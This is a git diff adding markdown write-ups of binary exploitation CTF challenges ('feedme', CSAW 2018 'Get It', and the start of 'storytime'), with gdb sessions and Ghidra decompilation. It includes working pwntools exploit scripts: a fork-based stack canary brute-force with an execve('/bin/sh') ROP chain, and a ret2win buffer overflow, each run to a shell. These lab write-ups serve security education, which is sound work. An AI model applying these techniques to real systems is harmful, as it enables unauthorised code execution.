trace ──── + [#0] 0x8049053 → call 0x8048e42 + [#1] 0x80490dc → movzx eax, al + [#2] 0x80491da → mov eax, 0x0 + [#3] 0x80493ba → mov DWORD PTR [esp], eax + [#4] 0x8048d2b → hlt + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +After a bit of gdb wizardry that i don't even understand, we arrive at this: + + + gef➤ x/4w $esp + 0xffffd080: 0xffffd09c 0x31 0x10 0x806ccb7 + + gef➤ x/50w 0xffffd09c + 0xffffd09c: 0x77322f78 0x73652420 0xa0a0a70 0xa0a0a0a + 0xffffd0ac: 0xa0a0a0a 0x6e69660a 0xa687369 0x300a300a + 0xffffd0bc: 0x30303030 0x30303030 0x30303030 0x30303030 + 0xffffd0cc: 0x8049030 0x80ea0a0 0x0 0x80ed840 + 0xffffd0dc: 0x804f8b4 0x0 0x0 0x0 + 0xffffd0ec: 0x80481a8 0x80481a8 0x0 0xffffd118 + 0xffffd0fc: 0x80491da 0x80ea0a0 0x0 0x2 + 0xffffd10c: 0x0 0x0 0x80ea00c 0x8049970 + 0xffffd11c: 0x80493ba 0x1 0xffffd1a4 0xffffd1ac + 0xffffd12c: 0x0 0x0 0x80481a8 0x0 + 0xffffd13c: 0x80ea00c 0x8049970 0x488454cd 0xbe00e522 + 0xffffd14c: 0x0 0x0 0x0 0x0 + 0xffffd15c: 0x0 0x0 + + gef➤ info frame + Stack level 0, frame at 0xffffd0d0: + eip = 0x8049084; saved eip = 0x8049030 + called by frame at 0x30303038 + Arglist at 0xffffd0c8, args: + Locals at 0xffffd0c8, Previous frame's sp is 0xffffd0d0 + Saved registers: + ebp at 0xffffd0c8, eip at 0xffffd0cc + + + +The start of our input is being scanned at **0xffffd09c** and the return address is at **0xffffd0cc** , Somehow you have to find that the stack canary is some random hex value, at some memory address because it's 4 bytes of random values with the last value being a nullbyte. and that there is a 0x20 byte offset to the stack canary and : + + + [ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/feed] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + + >>> hex( 0xffffd0cc - 0xffffd09c ) + '0x30' + + + +Now we know that there is a 0x30 bytes offset to the return address. Both the 0x30 and the 0x20 offset are within the reach of our buffer overflow Lastly we need to know where the feed function is called: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → gdb ./feedme + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./feedme... + (No debugging symbols found in ./feedme) + gef➤ b *0x8049053 + Breakpoint 1 at 0x8049053 + gef➤ r + Starting program: /home/nothing/binexp/2/feed/feedme + [Detaching after fork from child process 3730383] + FEED ME! + ^C + Program received signal SIGINT, Interrupt. + 0xf7ffc549 in __kernel_vsyscall () + ~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\$' + [ Legend: Modified register | Code | Heap | Stack | String ] + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0xfffffe00 + $ebx : 0x38ebcf + $ecx : 0xffffd0e0 → 0x00000000 + $edx : 0x0 + $esp : 0xffffd0b8 → 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx + $ebp : 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx + $esi : 0x0 + $edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4] + $eip : 0xf7ffc549 → <__kernel_vsyscall+9> pop ebp + $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffd0b8│+0x0000: 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx ← $esp + 0xffffd0bc│+0x0004: 0x00000000 + 0xffffd0c0│+0x0008: 0xffffd0e0 → 0x00000000 + 0xffffd0c4│+0x000c: 0x0806cc02 → pop ebx + 0xffffd0c8│+0x0010: 0x080481a8 → push ebx + 0xffffd0cc│+0x0014: 0x0804910e → mov DWORD PTR [ebp-0xc], eax + 0xffffd0d0│+0x0018: 0x0038ebcf + 0xffffd0d4│+0x001c: 0xffffd0e0 → 0x00000000 + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + 0xf7ffc543 <__kernel_vsyscall+3> mov ebp, esp + 0xf7ffc545 <__kernel_vsyscall+5> sysenter + 0xf7ffc547 <__kernel_vsyscall+7> int 0x80 + → 0xf7ffc549 <__kernel_vsyscall+9> pop ebp + 0xf7ffc54a <__kernel_vsyscall+10> pop edx + 0xf7ffc54b <__kernel_vsyscall+11> pop ecx + 0xf7ffc54c <__kernel_vsyscall+12> ret + 0xf7ffc54d nop + 0xf7ffc54e nop + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "feedme", stopped 0xf7ffc549 in __kernel_vsyscall (), reason: SIGINT + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0xf7ffc549 → __kernel_vsyscall() + [#1] 0x806cc02 → pop ebx + [#2] 0x804910e → mov DWORD PTR [ebp-0xc], eax + [#3] 0x80491da → mov eax, 0x0 + [#4] 0x80493ba → mov DWORD PTR [esp], eax + [#5] 0x8048d2b → hlt + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ bt + #0 0xf7ffc549 in __kernel_vsyscall () + #1 0x0806cc02 in ?? () + #2 0x0804910e in ?? () + #3 0x080491da in ?? () + #4 0x080493ba in ?? () + #5 0x08048d2b in ?? () + + + +So here we basically set only the first breakpoint, and hit CTRL+C to exit out of the 'feedme' prompt and then run 'bt' so that we can follow the backtrace to the parent function that we can also find if we look for (CTRL+SHIFT+E) **'Child IO error!'** : + +![](41.png) + +So we get the following code: + + + void FUN_080490b0(void) + + { + undefined uVar1; + int local_1c; + uint local_18; + int local_14; + int local_10; + + local_1c = 0; + local_18 = 0; + while( true ) { + if (799 < local_18) { + return; + } + local_14 = FUN_0806cc70(); + if (local_14 == 0) break; + local_10 = FUN_0806cbe0(local_14,&local;_1c,0); + if (local_10 == -1) { + FUN_0804fc60("Wait error!"); + FUN_0804ed20(0xffffffff); + } + if (local_1c == -1) { + FUN_0804fc60("Child IO error!"); + FUN_0804ed20(0xffffffff); + } + FUN_0804fc60("Child exit."); + FUN_0804fa20(0); + local_18 = local_18 + 1; + } + uVar1 = FUN_08049036(); + FUN_0804f700("YUM, got %d bytes!\n",uVar1); + return; + } + + +Here we see that it is calling the function responsible for setting up a child process in a loop that will run for 800 times, that means we can crash a child process 800 times before the program exits on us, So how do we exploit it? + +So first, with the stack canary, we have the ability to overwrite the return address. The only thing stopping us other than the NX is the stack canary that we can bruteforce. The problem is that all of the child process will share the same canary. For the canary it will have 4 bytes, one null byte and 3 random bytes, so only 3 bytes that we do not know. + +So we can overwrite the stack canary one byte a a time, The byte we overwrite it with will be a wild guess, if one child process dies we know that it was incorrect, and if it doesn't then we will know what our guess was correct. There are 256 different values that the byte can be, and since there are 3 bytes we are guessing that gives us a 256 * 3 = 768 possible guesses every combination if we guess one byte a a time. This can be done by only overwriting one byte at a time. with that we can deal with the stack canary. + +Now onto the ROP chain: Once we have the stack canary and nothing will be able to stop us from reaching the return function to get code execution as usual. Then what do we execute ? NX is turned on, so we cannot just jump to the shellcode we place on the stack. However the elf does have PIE set to enabled which randomizes the address of code, Therefore building a ROP chain without an infoleak is possible. For this ROP Chain, we will be making an execve() syscall to /bin/sh to give us a shell. + +Now to build our ROP chain we need to look for ROP Gadgets as we saw in the previous 2 challenges. We will use ROPGadget for that, check out [simplecalc](calc.html) to check out how i installed it. now let's find the following gadgets: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → ROPgadget --binary feedme| grep "mov.*\[eax\].*; ret$" + + [...] + + 0x0807be31 : mov dword ptr [eax], edx ; ret + + [...] + + + +Here's an useful gadget because this will allow us to move the contents of the edx register into the area of space pointed to by the address of eax, and then return. So if we wanted to write to the address 1234 wec ould load that address into eax and the value we wanted to write into the edx register, then call this gadget. + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → ROPgadget --binary feedme| grep ": pop eax ; ret$" + 0x080bb496 : pop eax ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → ROPgadget --binary feedme| grep ": pop edx ; ret$" + 0x0806f34a : pop edx ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → ROPgadget --binary feedme| grep ": pop ecx ; pop ebx ; ret$" + 0x0806f371 : pop ecx ; pop ebx ; ret + + + +The last gadget we found is so that we can control the value of the ecx register. Unfortunately there are no gadgets that will just pop a value into the ecx and just return, so this is the next best thing, which will save us not having to use another gadget when we pop a value into the ebx register. + +Now that we have gadgets for eax, edx, ecx: + +![](42.png) + +Now we need a gadget for the ebx register because this one will be needed to contain our **/bin/sh** string + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → ROPgadget --binary feedme| grep "int 0x80$" + 0x080941d3 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80 + 0x0804975f : add byte ptr [eax], al ; int 0x80 + 0x0806ceb0 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80 + 0x0806ceb1 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80 + 0x0806cf3c : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80 + 0x0806f428 : clc ; mov ecx, 0x80 ; int 0x80 + 0x0806ceb3 : clc ; mov ecx, 0x81 ; int 0x80 + 0x080941d5 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80 + + **0x08049761 : int 0x80** + + + +Here we see that at **0x08049761** is a gadget that enables us to make a syscall to the kernel to get a shell. in x86, you can just call int 0x80. Syscall will expect 3 arguments as detailed below: + + + eax : 11 # SYSCALL ID + ebx : bss addr 0x80eb928 # address of the command + ecx : 0x0 + edx : 0x0 + + +So now with this we get our ROP Chain: + + + # This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time + payload += p32(0x080bb496) # pop eax ; ret + payload += p32(0x80eb928) # bss address + payload += p32(0x0806f34a) # pop edx + payload += p32(0x6e69622f) # /bin string in hex, in little endian + payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret + + # Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4 + payload += p32(0x080bb496) # pop eax ; ret + payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin' + payload += p32(0x0806f34a) # pop edx + payload += p32(0x0068732f) # /sh string in hex, in little endian + payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret + + # Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall. + payload += p32(0x080bb496) # pop eax ; ret + payload += p32(0xb) # 11 + payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret + payload += p32(0x0) # 0x0 + payload += p32(0x80eb928) # bss address + payload += p32(0x0806f34a) # pop edx ; ret + payload += p32(0x0) # 0x0 + payload += p32(0x8049761) # syscall + + + +And we get our full exploit here: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → vim exploit.py + + + + + # This is based off of a Raytheon SI Govs talk + + # First we import pwntools + from pwn import * + + # Here is the function to brute force the canary + def breakCanary(): + # We know that the first byte of the stack canary has to be \x00 since it is null terminated, keep the values we know for the canary in known_canary + known_canary = "\x00" + # Ascii representation of the canary + hex_canary = "00" + # The current canary which will be incremented + canary = 0x0 + # The number of bytes we will give as input + inp_bytes = 0x22 + # Iterate 3 times for the three bytes we need to brute force + for j in range(0, 3): + # Iterate up to 0xff times to brute force all posible values for byte + for i in xrange(0xff): + log.info("Trying canary: " + hex(canary) + hex_canary) + + # Send the current input size + target.send(p32(inp_bytes)[0]) + + # Send this iterations canary + target.send("0"*0x20 + known_canary + p32(canary)[0]) + + # Scan in the output, determine if we have a correct value + output = target.recvuntil("exit.") + if "YUM" in output: + # If we have a correct value, record the canary value, reset the canary value, and move on + print "next byte is: " + hex(canary) + known_canary = known_canary + p32(canary)[0] + inp_bytes = inp_bytes + 1 + new_canary = hex(canary) + new_canary = new_canary.replace("0x", "") + hex_canary = new_canary + hex_canary + canary = 0x0 + break + else: + # If this isn't the canary value, increment canary by one and move onto next loop + canary = canary + 0x1 + + # Return the canary + return int(hex_canary, 16) + + # Start the target process + target = process('./feedme') + #gdb.attach(target) + + # Brute force the canary + canary = breakCanary() + log.info("The canary is: " + hex(canary)) + + + # Now that we have the canary, we can start making our final payload + + # This will cover the space up to, and including the canary + payload = "0"*0x20 + p32(canary) + + # This will cover the rest of the space between the canary and the return address + payload += "1"*0xc + + # Start putting together the ROP Chain + + # This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time + payload += p32(0x080bb496) # pop eax ; ret + payload += p32(0x80eb928) # bss address + payload += p32(0x0806f34a) # pop edx + payload += p32(0x6e69622f) # /bin string in hex, in little endian + payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret + + # Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4 + payload += p32(0x080bb496) # pop eax ; ret + payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin' + payload += p32(0x0806f34a) # pop edx + payload += p32(0x0068732f) # /sh string in hex, in little endian + payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret + + # Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall. + payload += p32(0x080bb496) # pop eax ; ret + payload += p32(0xb) # 11 + payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret + payload += p32(0x0) # 0x0 + payload += p32(0x80eb928) # bss address + payload += p32(0x0806f34a) # pop edx ; ret + payload += p32(0x0) # 0x0 + payload += p32(0x8049761) # syscall + + # Send the amount of bytes for our payload, and the payload itself + target.send("\x78") + target.send(payload) + + # Drop to an interactive shell + target.interactive() + + + +Now let's see if it works: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → python2 exploit.py + [+] Starting local process './feedme': pid 208854 + [*] Trying canary: 0x000 + [*] Trying canary: 0x100 + [*] Trying canary: 0x200 + [*] Trying canary: 0x300 + [*] Trying canary: 0x400 + [*] Trying canary: 0x500 + [*] Trying canary: 0x600 + [*] Trying canary: 0x700 + [*] Trying canary: 0x800 + [*] Trying canary: 0x900 + [*] Trying canary: 0xa00 + [*] Trying canary: 0xb00 + [*] Trying canary: 0xc00 + [*] Trying canary: 0xd00 + [*] Trying canary: 0xe00 + [*] Trying canary: 0xf00 + + [...] + + [*] Trying canary: 0x7d5cc000 + [*] Trying canary: 0x7e5cc000 + [*] Trying canary: 0x7f5cc000 + [*] Trying canary: 0x805cc000 + [*] Trying canary: 0x815cc000 + [*] Trying canary: 0x825cc000 + [*] Trying canary: 0x835cc000 + [*] Trying canary: 0x845cc000 + [*] Trying canary: 0x855cc000 + [*] Trying canary: 0x865cc000 + [*] Trying canary: 0x875cc000 + [*] Trying canary: 0x885cc000 + [*] Trying canary: 0x895cc000 + [*] Trying canary: 0x8a5cc000 + [*] Trying canary: 0x8b5cc000 + [*] Trying canary: 0x8c5cc000 + [*] Trying canary: 0x8d5cc000 + next byte is: 0x8d + [*] The canary is: 0x8d5cc000 + [*] Switching to interactive mode + + FEED ME! + ATE 30303030303030303030303030303030... + $ id + uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel) + $ cat flag.txt + flag{g0ttem_b0yz} + $ exit + + + +And that's it ! We have been able to spawn a shell and print the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/get.md b/2/get.md new file mode 100644 index 0000000..299227e --- /dev/null +++ b/2/get.md @@ -0,0 +1,309 @@ +# CSAW 2018 Get It + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it + --2021-02-27 14:55:14-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it [following] + --2021-02-27 14:55:15-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 8744 (8.5K) [application/octet-stream] + Saving to: ‘get_it’ + + get_it 100%[=======================================================================================================================================================================================================>] 8.54K --.-KB/s in 0s + + 2021-02-27 14:55:15 (36.0 MB/s) - ‘get_it’ saved [8744/8744] + + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit] + → file get_it + get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit] + → chmod +x get_it + + +` ![]() + +## Solution + +first we start by executing the binary to see what it does: + + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get] + → ./get_it + Do you gets it?? + maybe + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get] + → ./get_it + Do you gets it?? + yes + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get] + → pwn checksec get_it + [*] '/home/nothing/binexp/2/get/get_it' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) + + +It prints text, and then asks for our input. This is a 64 bit binary with a non-executable stack. Let's check it from inside ghidra: + +![](16.png) + +The binary really has a simplistic code for the main function: + + + undefined8 main(void) + + { + char local_28 [32]; + + puts("Do you gets it??"); + gets(local_28); + return 0; + } + + + +So our input text is given to the local_28 variable which can hold 32 characters, and it is being passed through a gets function, and as we saw in the previous binary, the gets function is not secure because it does not know a limit, there is no size restriction for the data that gets scanned in, it will simply scan in data until it gets either a newline character or an EOF. Because of this we can write more data to our input text variable (local_28) than it can hold. + +Looking at the other functions of this binary, we see that there is another function that's there to spawn a shell for us: + +![](17.png) + + + void give_shell(void) + + { + system("/bin/bash"); + return; + } + + +From here it's safe to assume that the goal is to find a way to spawn a shell thanks to the give_shell function. Since we know the gets function does not have an upper limit, so our goal is to overwrite the return function at the end, so that we can do what we want with it: + + + [ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get] + → gdb ./get_it + GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git + Copyright (C) 2021 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9 + Reading symbols from ./get_it... + (No debugging symbols found in ./get_it) + gef➤ disas main + Dump of assembler code for function main: + 0x00000000004005c7 <+0>: push rbp + 0x00000000004005c8 <+1>: mov rbp,rsp + 0x00000000004005cb <+4>: sub rsp,0x30 + 0x00000000004005cf <+8>: mov DWORD PTR [rbp-0x24],edi + 0x00000000004005d2 <+11>: mov QWORD PTR [rbp-0x30],rsi + 0x00000000004005d6 <+15>: mov edi,0x40068e + 0x00000000004005db <+20>: call 0x400470 + 0x00000000004005e0 <+25>: lea rax,[rbp-0x20] + 0x00000000004005e4 <+29>: mov rdi,rax + 0x00000000004005e7 <+32>: mov eax,0x0 + 0x00000000004005ec <+37>: call 0x4004a0 + 0x00000000004005f1 <+42>: mov eax,0x0 + 0x00000000004005f6 <+47>: leave + 0x00000000004005f7 <+48>: ret + End of assembler dump. + gef➤ b *0x4005f1 + Breakpoint 1 at 0x4005f1 + gef➤ r + + +Here we set our first breakpoint right after the gets call, so let's run the binary and give it a pattern easy to remember: + + + + gef➤ r + Starting program: /home/nothing/binexp/2/get/get_it + Do you gets it?? + 13371337 + + Breakpoint 1, 0x00000000004005f1 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x00007fffffffe0e0 → "13371337" + $rbx : 0x0 + $rcx : 0x00007ffff7fac980 → 0x00000000fbad2288 + $rdx : 0x0 + $rsp : 0x00007fffffffe0d0 → 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it" + $rbp : 0x00007fffffffe100 → 0x0000000000400600 → <__libc_csu_init+0> push r15 + $rsi : 0x31373333 + $rdi : 0x00007ffff7faf680 → 0x0000000000000000 + $rip : 0x00000000004005f1 → mov eax, 0x0 + $r8 : 0x00007fffffffe0e0 → "13371337" + $r9 : 0x0 + $r10 : 0x6e + $r11 : 0x246 + $r12 : 0x00000000004004c0 → <_start+0> xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe0d0│+0x0000: 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it" ← $rsp + 0x00007fffffffe0d8│+0x0008: 0x0000000100000000 + 0x00007fffffffe0e0│+0x0010: "13371337" ← $rax, $r8 + 0x00007fffffffe0e8│+0x0018: 0x0000000000400400 → add BYTE PTR [rax], al + 0x00007fffffffe0f0│+0x0020: 0x00007fffffffe1f0 → 0x0000000000000001 + 0x00007fffffffe0f8│+0x0028: 0x0000000000000000 + 0x00007fffffffe100│+0x0030: 0x0000000000400600 → <__libc_csu_init+0> push r15 ← $rbp + 0x00007fffffffe108│+0x0038: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x4005e4 mov rdi, rax + 0x4005e7 mov eax, 0x0 + 0x4005ec call 0x4004a0 + ●→ 0x4005f1 mov eax, 0x0 + 0x4005f6 leave + 0x4005f7 ret + 0x4005f8 nop DWORD PTR [rax+rax*1+0x0] + 0x400600 <__libc_csu_init+0> push r15 + 0x400602 <__libc_csu_init+2> push r14 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "get_it", stopped 0x4005f1 in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4005f1 → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + + +no need to search for the pattern, we see that our pattern appears at $rax ( 0x00007fffffffe0e0 ) + + + gef➤ i f + Stack level 0, frame at 0x7fffffffe110: + rip = 0x4005f1 in main; saved rip = 0x7ffff7e14d0a + Arglist at 0x7fffffffe100, args: + Locals at 0x7fffffffe100, Previous frame's sp is 0x7fffffffe110 + Saved registers: + rbp at 0x7fffffffe100, rip at 0x7fffffffe108 + + + +here we see that the return address is stored at 0x7fffffffe108, lets verify that our pattern is at the address we found above: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[heap]'(0x602000-0x623000), permission=rw- + 0x6026b0 - 0x6026ba → "13371337\n" + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffe0e0 - 0x7fffffffe0e8 → "13371337" + + +and it is! now we need to calculate the offset between 0x00007fffffffe0e0 and 0x7fffffffe108 + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get] + → python3 + Python 3.9.1+ (default, Feb 5 2021, 13:46:56) + [GCC 10.2.1 20210110] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7fffffffe0e0 - 0x7fffffffe108 ) + '-0x28' + + +So we get a 0x28 byte offset which is 40 bytes in decimal, basically we need to write 40 bytes worth of input, and then we can write over the return address. Tis address will be executed when the ret instruction is executed, which will give us code execution. We need the address of the give_shell function which we get from ghidra: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined give_shell() + undefined AL:1 + give_shell XREF[3]: Entry Point(*), 004006bc, + 00400758(*) + 004005b6 55 PUSH RBP + + + +now that we know that we need 40 bytes of input, and then the address 0x004005b6, we can create our payload: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get] + → vim exploit.py + + + + + from pwn import * + import sys + + target = process("./get_it") + + payload = b"" + payload += b"\x00" * 0x28 + payload += p64(0x4005b6) + + + target.sendline(payload) + + target.interactive() + + + + +Basically with this exploit.py we create a payload that has 40 nullbytes (0x28 in hexa) and then contains the address of the give_shell function, so let's see if it works: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get] + → python3 exploit.py + [+] Starting local process './get_it': pid 244402 + [*] Switching to interactive mode + Do you gets it?? + $ w + 21:07:19 up 1 day, 22:20, 3 users, load average: 0.16, 0.14, 0.06 + USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT + nothing pts/1 tmux(6724).%3 16:42 6.00s 18.38s 0.15s python3 exploit.py + nothing pts/3 tmux(6724).%4 19:14 45:07 0.88s 0.04s less + nothing pts/4 tmux(6724).%5 19:21 3:35 2.46s 2.46s -zsh + + + +and that's it! we have been able to spawn a shell with the binary file. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/hs.md b/2/hs.md new file mode 100644 index 0000000..cd8012d --- /dev/null +++ b/2/hs.md @@ -0,0 +1,389 @@ +# Binary Exploitation + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/core + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/libc.so.6 + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/storytime + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → file storytime + storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → chmod +x storytime ; ls -lash + total 4.1M + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 7 10:27 . + 4.0K drwxr-xr-x 13 nothing nothing 4.0K Mar 7 10:26 .. + 2.3M -rw-r--r-- 1 nothing nothing 2.3M Mar 7 10:26 core + 1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 7 10:27 libc.so.6 + 12K -rwxr-xr-x 1 nothing nothing 8.3K Mar 7 10:27 storytime + + + +` ![]() + +## Solution + +First of all let's run pwn checksec on the binary and then run it to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs] + → pwn checksec storytime + [*] '/home/nothing/binexp/2/hs/storytime' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE 